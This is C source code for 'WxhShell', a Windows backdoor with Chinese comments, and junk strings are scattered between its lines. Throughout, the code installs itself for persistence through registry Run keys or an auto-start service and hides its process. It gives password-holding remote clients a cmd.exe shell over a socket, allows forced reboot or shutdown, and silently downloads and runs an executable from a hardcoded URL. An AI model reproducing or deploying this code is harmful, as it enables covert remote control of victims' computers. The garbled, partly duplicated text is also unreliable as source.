t[9 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;f#%0W{": r0379 _ HANDLE hProcess; wASgdGoy PROCESS_BASIC_INFORMATION pbi; 6QkdH7Qf= RJYuyB HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e7T"?s if(NULL == hInst ) return 0; k(+EY% *kY\,r&!P g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W(Z_ac^e[ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |&eZ[Sy(=l NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FPE[} D+lzISp~e if (!NtQueryInformationProcess) return 0; ,+-l1GpL ~KHGh29 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DygMavA. if(!hProcess) return 0; X<dQq`kZ VC5LxA0{ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \W=~@k 28[hp[< CloseHandle(hProcess); secD
`] 3}e-qFlV8, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %K8Ei/p\t] if(hProcess==NULL) return 0; 23?\jw3w /yPFts_q HMODULE hMod; 9g3e( z@ char procName[255]; Z
6KM%R unsigned long cbNeeded; 4Xi
_[
Xf A:PQIcR;V if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @{ *z1{ o7 ^t-
L CloseHandle(hProcess); OD7tM0Wn iU"jV*P] if(strstr(procName,"services")) return 1; // 以服务启动 d2`m0U Aq674 return 0; // 注册表启动 K>iM6Uv } H&\[iZ|-N d.Wq@(ZoA // 主模块 aNLRUdc. int StartWxhshell(LPSTR lpCmdLine) H_RV#BW& { l/0"'o_0v# SOCKET wsl; 11t+
a,fM BOOL val=TRUE; .RFijr int port=0; Gx/sJ( struct sockaddr_in door; _^K)> IaMZPl if(wscfg.ws_autoins) Install(); XgL-t~_ pxP,cS port=atoi(lpCmdLine); ]D_"tQ?i qn)
VKx= if(port<=0) port=wscfg.ws_port; |s[kY 2yZ/'}Mw WSADATA data; OXcQMVa
6 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dx`-Kg_p 8g0By;h; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; g}
\$9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S.&=>
door.sin_family = AF_INET; =j#1HI=Fe door.sin_addr.s_addr = inet_addr("127.0.0.1"); [&12`!;j door.sin_port = htons(port); l2H-E&'= C".nB12 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hM$K?t closesocket(wsl); `/?XvF\ return 1; +g/TDwyVH } JLgk? *+|D8xp if(listen(wsl,2) == INVALID_SOCKET) { mU0j K@^&M closesocket(wsl); qQK0s*^W return 1; =nPIGI72VO } ,dn6z#pb+ Wxhshell(wsl); !qGER. WSACleanup(); 4@ EY+p mHCp^g4Q return 0; (Z(O7X(/ U8TH} 9Q } U9^o"vT BkywYCWZ ) // 以NT服务方式启动 |dNJx<- VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FvpaU\D { <ua` WRQr DWORD status = 0; @CGci lS= DWORD specificError = 0xfffffff; dJyf.VJ X*f#S:kiNU serviceStatus.dwServiceType = SERVICE_WIN32; C>l{_J)n serviceStatus.dwCurrentState = SERVICE_START_PENDING; ' cM2]< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Nl"Xl?y} serviceStatus.dwWin32ExitCode = 0; ;MRK*sfw{ serviceStatus.dwServiceSpecificExitCode = 0; |e{F;8 serviceStatus.dwCheckPoint = 0; K
@x4>9 3n serviceStatus.dwWaitHint = 0; MzUNk`T @ !J#oN+AR hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cka&b if (hServiceStatusHandle==0) return; .*N]SbU<8 t!}QG"ma status = GetLastError(); #?=?<"*j if (status!=NO_ERROR) yTt,/+I%gJ { \l)Jb*t serviceStatus.dwCurrentState = SERVICE_STOPPED; j"G1D-S: serviceStatus.dwCheckPoint = 0; 2cv!85 serviceStatus.dwWaitHint = 0; BpL7s
ej7 serviceStatus.dwWin32ExitCode = status; /mS|Byx serviceStatus.dwServiceSpecificExitCode = specificError; ~V#MI@]V~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); GD*rTtDWn return; B$ty`/{w,B } mEK0ID\ GxH] serviceStatus.dwCurrentState = SERVICE_RUNNING; o8<0#W@S serviceStatus.dwCheckPoint = 0; b!(ew`Y; serviceStatus.dwWaitHint = 0; VN3"$@-POK if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z"7I5N } ai,\'%N &8=wkG% // 处理NT服务事件,比如:启动、停止 k OYF]^uJ VOID WINAPI NTServiceHandler(DWORD fdwControl) 8&[Lr o9 { I^}q;L![\ switch(fdwControl) ++>HU{ { 9)c{L<o}T case SERVICE_CONTROL_STOP: j:|um&`) serviceStatus.dwWin32ExitCode = 0; d,%e?8x5 serviceStatus.dwCurrentState = SERVICE_STOPPED; #eRrVjbo serviceStatus.dwCheckPoint = 0; |l \! serviceStatus.dwWaitHint = 0; ~7CQw^"R@ { V$ 8go#5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); P:lmQHls+ } &Tc:WD return; _xKu EU} case SERVICE_CONTROL_PAUSE: =7^rKrD serviceStatus.dwCurrentState = SERVICE_PAUSED; +\Hh|Uz5 break; g5",jTn# case SERVICE_CONTROL_CONTINUE: Z<_"Tk;!', serviceStatus.dwCurrentState = SERVICE_RUNNING; ,K/l;M5I break; XK*55W&og case SERVICE_CONTROL_INTERROGATE: dUt$kB break; =w&bS,a"y }; RSv?imi= SetServiceStatus(hServiceStatusHandle, &serviceStatus); u92);1R } IKz3IR eu seQSDCsvw* // 标准应用程序主函数 5OJ8o>BF int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B=ckRWq { hB?a{#JL W|2o^ V // 获取操作系统版本 Gy;>.:n OsIsNt=GetOsVer(); ?"hrCEHV{9 GetModuleFileName(NULL,ExeFile,MAX_PATH); Z--A:D> d+caGpaR // 从命令行安装 9\dpJ\ if(strpbrk(lpCmdLine,"iI")) Install(); R #f*QXv ]n \Qa // 下载执行文件 9N+3S2sBx& if(wscfg.ws_downexe) { =D>,s)}o3; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QD8.C=2R WinExec(wscfg.ws_filenam,SW_HIDE); Uzi.CYVs% } ol[sX=5 * UO1WtQyu,H if(!OsIsNt) { o"kVA;5<G // 如果时win9x,隐藏进程并且设置为注册表启动 `j#zwgUs HideProc(); :D|5E>o( StartWxhshell(lpCmdLine); W?>C$_p C } wo#,c( else v[7iWBqJ if(StartFromService()) s'7PHP)LOJ // 以服务方式启动 xM+_rU
M|h StartServiceCtrlDispatcher(DispatchTable); {/)q= else $a@T:zfe // 普通方式启动 v3*y43 StartWxhshell(lpCmdLine); ZXJ]== |>Ld'\i8 return 0; 9mmkFaBQ } KD<smwXjG 4 ZUTF3 2\4ammwT 04j]W]8# =========================================== =~D QX\ 5n0B`A Sux/=' gR\z#Sg MQ#nP_i _\2Ae\&c " xS'Kr.S
h&|S* #include <stdio.h> ShIJ6LZ #include <string.h> `MLOf #include <windows.h> ]Pp}=hcD #include <winsock2.h> p{vGc-zP. #include <winsvc.h> _Xqa_6+/ #include <urlmon.h> w=QlQ\ 1u~CNHm #pragma comment (lib, "Ws2_32.lib") sk%Xf, #pragma comment (lib, "urlmon.lib") 69"4/n7B? u\y$< #define MAX_USER 100 // 最大客户端连接数 =#Z+WD-E #define BUF_SOCK 200 // sock buffer o*t4zF&n #define KEY_BUFF 255 // 输入 buffer V+$^4Ht 0X<U.Sxn #define REBOOT 0 // 重启 d}w}VL8l #define SHUTDOWN 1 // 关机 7WMF8(j5 nb~592u #define DEF_PORT 5000 // 监听端口
Nd h `x:O&2 #define REG_LEN 16 // 注册表键长度 Ylhy Z&a, #define SVC_LEN 80 // NT服务名长度 zl3GWj|?\7 u~~H'*EM // 从dll定义API =j"bLX6; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _2a)b(<tF typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *-';ycOvr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KaIkO8Dq0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~( ;HkT |V&E q>G // wxhshell配置信息 -`A+Qp) struct WSCFG { 8yC/:_ML int ws_port; // 监听端口 hDf!l$e. char ws_passstr[REG_LEN]; // 口令 47=YP0r?>T int ws_autoins; // 安装标记, 1=yes 0=no Qx_]oz]NY char ws_regname[REG_LEN]; // 注册表键名 }Pm;xHnf& char ws_svcname[REG_LEN]; // 服务名 8Q(A1U char ws_svcdisp[SVC_LEN]; // 服务显示名 :\]qB& char ws_svcdesc[SVC_LEN]; // 服务描述信息 u_=^Bd char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _u9bZ' int ws_downexe; // 下载执行标记, 1=yes 0=no }rQ0*h char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JKF/z@Vbe\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "!9FJ Y U1)!X@F{ }; 0O!A8FA0 |4j'KM;U // default Wxhshell configuration bIXD(5y struct WSCFG wscfg={DEF_PORT, aT~=<rEDy "xuhuanlingzhe", iOB*K)U1 1, $Xr4=9(|7 "Wxhshell", ;r BbLM` "Wxhshell", FmhT^ "WxhShell Service", s>I~%+V.?: "Wrsky Windows CmdShell Service", W) ?s''WE; "Please Input Your Password: ", F|&%Z(@a 1, 4d8}g25C "http://www.wrsky.com/wxhshell.exe", +&4@HHU{G "Wxhshell.exe" ) E*- }; Kw =RqF FM"[:&> // 消息定义模块 RDOV+2K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oi7Y?hTj char *msg_ws_prompt="\n\r? for help\n\r#>"; LYke\/ md char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +62}//_? char *msg_ws_ext="\n\rExit."; (,R\6 char *msg_ws_end="\n\rQuit."; c{3P|O&. char *msg_ws_boot="\n\rReboot..."; U.Fs9F4M # char *msg_ws_poff="\n\rShutdown..."; F*JbTEOn char *msg_ws_down="\n\rSave to "; jGUegeq 8I7JsCj char *msg_ws_err="\n\rErr!"; 2<E@f0BVAy char *msg_ws_ok="\n\rOK!"; wWVB'MRXB, X2mZ~RB(p char ExeFile[MAX_PATH]; pD]2.O int nUser = 0; )S9}uOG# HANDLE handles[MAX_USER]; AHzm9U @ int OsIsNt; mYFc53B ge ]Z5E(1 SERVICE_STATUS serviceStatus; tP89gN^PA| SERVICE_STATUS_HANDLE hServiceStatusHandle; }\QXPU{UVd zHD8\* // 函数声明 u`"Y!*[ - int Install(void);
N8)]d int Uninstall(void); d~KTUgH'< int DownloadFile(char *sURL, SOCKET wsh); GA"vJFQ int Boot(int flag);
0v|qP void HideProc(void); $+ORq3 int GetOsVer(void); XPLm`Q|1#t int Wxhshell(SOCKET wsl); qu0q
LM void TalkWithClient(void *cs); ^ f[^.k$3d int CmdShell(SOCKET sock); y/>Nx7C0=2 int StartFromService(void); BKK@_B" int StartWxhshell(LPSTR lpCmdLine); *rVI[kL 63'L58O VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5R6QZVc VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7#j9"* ,U~in)\
U // 数据结构和表定义 U45-R- SERVICE_TABLE_ENTRY DispatchTable[] = P! P` MX { DAy|'%rF1- {wscfg.ws_svcname, NTServiceMain}, Mehp]5* {NULL, NULL} *i"Mu00b }; +hcJ!$J7 +I@2,T(eG // 自我安装 E( *S]Z[ int Install(void) {<zE}7/2- { wj8\eK)]L char svExeFile[MAX_PATH]; BkB9u&s^ HKEY key; X=? \A{Y strcpy(svExeFile,ExeFile); jGYl*EBx v}<z_i5/C. // 如果是win9x系统,修改注册表设为自启动 y\:,.cZ+TQ if(!OsIsNt) { p7L6~IN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jw^h<z/Ux RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |!J_3*6$>* RegCloseKey(key); 4'.]-u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -|P7e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p
~)\! RegCloseKey(key); KVHK~Y-G return 0; 1pqYB]*u_ } X*a7`aL } *-'`Ea } oJZ0{^ else { 0ke1KKy/d #fFD|q // 如果是NT以上系统,安装为系统服务 qnzNJ_ `R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q'[~$~&` if (schSCManager!=0) ?sxf_0* { w$`u_P|@E: SC_HANDLE schService = CreateService I.o3Old ( &-x/c\jz schSCManager, D"K!ELGW wscfg.ws_svcname, xOZvQ\% wscfg.ws_svcdisp, Q;@w\_OR SERVICE_ALL_ACCESS, HS|x SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :I^4ILQCD SERVICE_AUTO_START, v%QCp SERVICE_ERROR_NORMAL, <#~n+, svExeFile, R%JEx3)0m NULL, USXPa[ NULL, BbI),iP NULL, }dSFv
NULL, Y5TBWcGU% NULL (CE2]Nv9") ); 4VzSqb if (schService!=0) tfv@
)9 { fVq,? CloseServiceHandle(schService); XX*f CloseServiceHandle(schSCManager); F|&mxsL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M+4S >Sjw strcat(svExeFile,wscfg.ws_svcname); M<@9di7c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r?x~`C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z=LO$,JW` RegCloseKey(key); '=IuwCB|; return 0; G+iJS!= } B,Jn.YX } [ <Q{ CloseServiceHandle(schSCManager); V.[b${ } |h:3BV_ } R xWD>: }U b "Vb return 1; n4zns,:)/ } os(}X(
/`w'X/'VJ // 自我卸载 XB%`5wwd int Uninstall(void) n4
Y
]v { }Z`@Z' HKEY key; *oIKddZh OmP(&t7 if(!OsIsNt) { B^hK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7p18;Z+6>X RegDeleteValue(key,wscfg.ws_regname); *kDV ^RBfq RegCloseKey(key); <pUc(
tPoz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j MA%`*r RegDeleteValue(key,wscfg.ws_regname); _[
`"E' RegCloseKey(key); 98WJ"f_ # return 0; !v 3wl0 } 4 W+ nSv } yAc}4*;T/ } A3 zNUad; else { /zV0kW>N Rh7=,=u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); taOsC!Bp if (schSCManager!=0) ,I[A~ { 8\Eq(o}7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i4
tW8Il if (schService!=0) 5?|PC. { .T*7nw if(DeleteService(schService)!=0) { CY9`HQ1 CloseServiceHandle(schService); FD}>}fLv CloseServiceHandle(schSCManager); g/,O51f' return 0; J15$P8J } dk2o>jI4; CloseServiceHandle(schService); SiJX5ydz } q}5&B=2pM CloseServiceHandle(schSCManager); upH%-)%' } /XW,H0pR } 2qkC{klC^M o6;VrpaNi return 1; >l5JwwG } z~a]dMs"(P j Ns eD // 从指定url下载文件 or]s int DownloadFile(char *sURL, SOCKET wsh) on1mu't_; { K#p&XIY, HRESULT hr; FdJC@Y-#uA char seps[]= "/"; ?|Mmz@ char *token; Py,@or7n char *file; L:EJ+bNG char myURL[MAX_PATH]; *'(dcy9 char myFILE[MAX_PATH]; x9CI>l wwmODw<tT strcpy(myURL,sURL); DSHpM/7 token=strtok(myURL,seps); 5*>3(U while(token!=NULL) L9U<E $%# { l+ <x file=token; ]t3
NA*mM token=strtok(NULL,seps); AuYi$?8|5 } I!Za2? `P4qEsZE>` GetCurrentDirectory(MAX_PATH,myFILE); gf2w@CVF>= strcat(myFILE, "\\"); _E[{7"3} strcat(myFILE, file); )+9D$m=P; send(wsh,myFILE,strlen(myFILE),0); Lp*T=]C] send(wsh,"...",3,0); Cj):g,[a hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o[ %Q&u if(hr==S_OK) efP2 C\ return 0; am05>c9 else `\P :rn95; return 1; Y<.F/iaH Ic&t_B*i}] } _>:g&pS/ tdr*>WL // 系统电源模块 4/U]7Y int Boot(int flag) vR~*r6hX8 { 49Ue2=PP# HANDLE hToken; @kwD$%*0 TOKEN_PRIVILEGES tkp; #(*WxVE 6YU2
!x if(OsIsNt) { C5RDP~au OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uf)W?`e~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L ou4M tkp.PrivilegeCount = 1; JnY3] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AQ
7e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^! ZjK-$A< if(flag==REBOOT) { cCV"(Oo[H| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {Q(6
.0R return 0; "x$S%:p } .Na>BR\F
else { NV-9C$<n2! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /9w}[y*E return 0; |H_)u } _zmx } d8RpL{9\7 else { 83l)o$S if(flag==REBOOT) { Z#o\9/{(R if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iK%Rq return 0; X0Oq lAw } r IK|} 5 else { ZJ[ Uz_%W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OEwfNZQ- return 0; *E)Y?9u" } F<(xz= } .DvAX(2v LMG\jc?, return 1; x(7K3(#| } C aJD* )#ujF~w> // win9x进程隐藏模块 QT&{M
#Ydn void HideProc(void) #=.h:_9 { -X}R(.}x ,m b3H HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VDmd+bvJV if ( hKernel != NULL ) c\b>4 &n { !Z'm@,+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %<muVRkB\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GyPN)!X@.& FreeLibrary(hKernel); :A{-^qd( } !yI)3;$* TQ2Tt" return; N8{>M, } \4p<;$' G\NCEE'A // 获取操作系统版本 t@HE.h int GetOsVer(void) anwn!Eqk" { 7z,M`14 OSVERSIONINFO winfo; hW+Dko(s winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Mk9kGP% GetVersionEx(&winfo); x/S% NySG if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tQ}gBE63 return 1; )nk>*oE else _/=ZkI5 return 0; r4lG 5dV } 1<p"z,c :gVjBF2 // 客户端句柄模块 UK<"|2^sT int Wxhshell(SOCKET wsl) XN0Y#l { HY:@=%R SOCKET wsh; uR%H"f struct sockaddr_in client; QaO`:wJj DWORD myID; ,{50zx2 9$ S,P| while(nUser<MAX_USER) >dl!Ep { 6J*`<k/S int nSize=sizeof(client); >?'FH +2K wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :jX~]1hpmA if(wsh==INVALID_SOCKET) return 1; >g2B5KY >8tuLd*T handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yi?&^nX@9, if(handles[nUser]==0) 7a<qP=J closesocket(wsh); dW`D?$(@, else \}=b/FL=U nUser++; p o`$^TB^+ } lBdF9F< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .'1j5Y-l`N z Y|g#V- return 0; "p{'984r< } ;Z_C3/b eQx"nl3U% // 关闭 socket #c>MUC(?s: void CloseIt(SOCKET wsh) 9-^p23.@[j { YeLOd closesocket(wsh); #0D.37R+k nUser--; zFr} $ ExitThread(0); z{d5Lrk } ,Tl5@RN | dwxea // 客户端请求句柄 5uer
[1A void TalkWithClient(void *cs) Ag6
( { SEIu4
l$E n y)P SOCKET wsh=(SOCKET)cs; ;NeP&)Td char pwd[SVC_LEN]; )1}g7: char cmd[KEY_BUFF]; 88$Y-g5* char chr[1]; QP%Fz#u` int i,j; k#JG rb'Gve W[ while (nUser < MAX_USER) { Ne7{{1 EiN)TB^] if(wscfg.ws_passstr) { 0Zh
_Q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &;U7/?Q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ch9!AUiR //ZeroMemory(pwd,KEY_BUFF); O + &
xb i=0; vCSB8R while(i<SVC_LEN) { ~vV)| d$rUxqB. // 设置超时 x,gE$dNzy fd_set FdRead; az;jMnPpR5 struct timeval TimeOut; <]^;/2.B FD_ZERO(&FdRead); %*c|[7Z~V FD_SET(wsh,&FdRead); !muYn-4M TimeOut.tv_sec=8; rDX'oP: TimeOut.tv_usec=0; {IHK<aW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aSkx#mV if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cC^C7AAq^ ;kW}'&Ug if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SM+fG: 4d pwd=chr[0]; kdh9ftm*\ if(chr[0]==0xd || chr[0]==0xa) { @1?]$?u& pwd=0; [Cqqjv;_ break; uQ]]]Z(H' } 36x:(-GFq i++; !5%5]9'n@* } asN
} $>ZP%~O
// 如果是非法用户,关闭 socket s.^9HuM if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y\e]2 } w<e;rKr C!{AnWf send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NS4'IR=;E! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r`R~{;oT YB
B$uGA while(1) { G7Abhb, V<2fPDZ ZeroMemory(cmd,KEY_BUFF); ^I<T+X+< MJKl]& // 自动支持客户端 telnet标准 cYM~IA j=0; U+PCvl=x while(j<KEY_BUFF) { Cz@FZb8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TDFO9%2c cmd[j]=chr[0]; M2E87w if(chr[0]==0xa || chr[0]==0xd) { XyM(@6,' cmd[j]=0; 20l_ay break; s"',370 } Wx?&igh j++; Rw}2* 5#y } *V6QBe
}d~wDg<# // 下载文件 >=~Fo)V!(V if(strstr(cmd,"http://")) { $FQcDo|[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4Wla&yy if(DownloadFile(cmd,wsh)) 1Y"35)CR) send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Esbeb7P else nl'J.dJe send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yMbcFDlBr } <F)w=_%& else { K)Zkj"y Z?(4%U5z switch(cmd[0]) { BLwfm+ m" a#Kmj0 // 帮助 S@c\|
case '?': { x'2 ,sE send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4" ,
)zDk break; 7.$]f71z } 1]>$5 1Q // 安装 Qb?y@>-[ case 'i': { AGEZ8(h if(Install()) ByhOK}u;P4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); V9zywM else r}R^<y@I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eA1k)gjE break; E5*-;>2c } 3V/_I<y // 卸载 xHv|ca.E case 'r': { x[PEn if(Uninstall()) q8?=*1g send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,TF<y#wed else #u8*CA9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0):uF_t< break; dv^e9b| } :/@k5#DY // 显示 wxhshell 所在路径 (|<h^]
y3 case 'p': { Bw3F7W~l char svExeFile[MAX_PATH]; p;qRm}
0} strcpy(svExeFile,"\n\r"); gHi~nEH strcat(svExeFile,ExeFile); m3xz=9Ve send(wsh,svExeFile,strlen(svExeFile),0); D|TLTF" break; wX)efLmyhY } $/[Gys3" // 重启 3`&VRF8 case 'b': { V<i<0E send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (|g").L if(Boot(REBOOT)) iN<(O7B; send(wsh,msg_ws_err,strlen(msg_ws_err),0); G-\<5]k] else { [i(Cl} closesocket(wsh); DC|xilP1O ExitThread(0); 9 m\)\/V } S9G8aea/ break; BgJkrv7~ } %"l81z // 关机 =MTj4VXh" case 'd': { <#xrrRhm} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R=\v3m if(Boot(SHUTDOWN)) ]`zjRRd send(wsh,msg_ws_err,strlen(msg_ws_err),0); b
A)b`1lI else { +"YTCzv;t closesocket(wsh); 8?e ExitThread(0); |`w$|pm= } 09R,'QJ| break; Lzh9DYU6 } fd?bU|I_2 // 获取shell h'B9|Cm case 's': { _Fy4DVCg CmdShell(wsh); #04{(G|~+E closesocket(wsh); ,'FD}yw4v ExitThread(0); $Q8P@L)[ break; k(zs>kiP } GhqgRzX // 退出 H9%l?r5 case 'x': { *I:mw8t send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iY0,WT}&n CloseIt(wsh); 13ipaz break; 4dW3'"R"L } @<vF]\Ce // 离开 _/|8%]) case 'q': { G$cxDGo send(wsh,msg_ws_end,strlen(msg_ws_end),0); HG3.~ 6X closesocket(wsh); HR[Q
?rg WSACleanup(); 'Z\{D*=V8 exit(1); X!T|07#c break; TkA9tFi } ob0~VEH- } 7 ,$ axvLw } R `;o!B}[ dav vI$TA // 提示信息 k?^%hO>[ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,q8(]n4 } (-bRj# } nc<qbN "3@KRb4f return; 9n_ eCb)H } mH'\:oN \C|;F // shell模块句柄 w3<Z?lj: int CmdShell(SOCKET sock) EtGH\?d~] { ?Rlgv5P! STARTUPINFO si; Y.E?;iS ZeroMemory(&si,sizeof(si)); wOjv[@d si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >[K0=nA si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mDZ=Due1 PROCESS_INFORMATION ProcessInfo; (Ar?QwP9> char cmdline[]="cmd"; w]n4KR4 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .SG0}8gW return 0; #xlZU } /[0F6 8,=G1c // 自身启动模式 (%i!%{!] int StartFromService(void) =h(7rU"Yz { 7k>zuzRyF typedef struct Q5g,7ac8L { bpGzTU DWORD ExitStatus; CP +4k.)*O DWORD PebBaseAddress; Wt(Kd5k0'2 DWORD AffinityMask; ?;Un#6b DWORD BasePriority; =Qyqfy*@D? ULONG UniqueProcessId; R3$@N ULONG InheritedFromUniqueProcessId; .Nc_n5D6 } PROCESS_BASIC_INFORMATION; Pow|:Lau! rWJ*e Y PROCNTQSIP NtQueryInformationProcess; \kxh#{$z? TNx _Rc} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \F[n`C"Is static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g+.0c=G( T\jAk+$Jo HANDLE hProcess; mIRAS"Q!m PROCESS_BASIC_INFORMATION pbi; 02,W~+d1 &uPDZ#C- HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &1=g A.ZR if(NULL == hInst ) return 0; ^ZR8s^X &T7cH>E'K^ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \OP9_J(* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _y>}#6B NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'v\j.j/i W;.{]x.0 if (!NtQueryInformationProcess) return 0; #L\o;p( +miR3~w. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ANotUty;y if(!hProcess) return 0; u-kZW1wrQ .W$
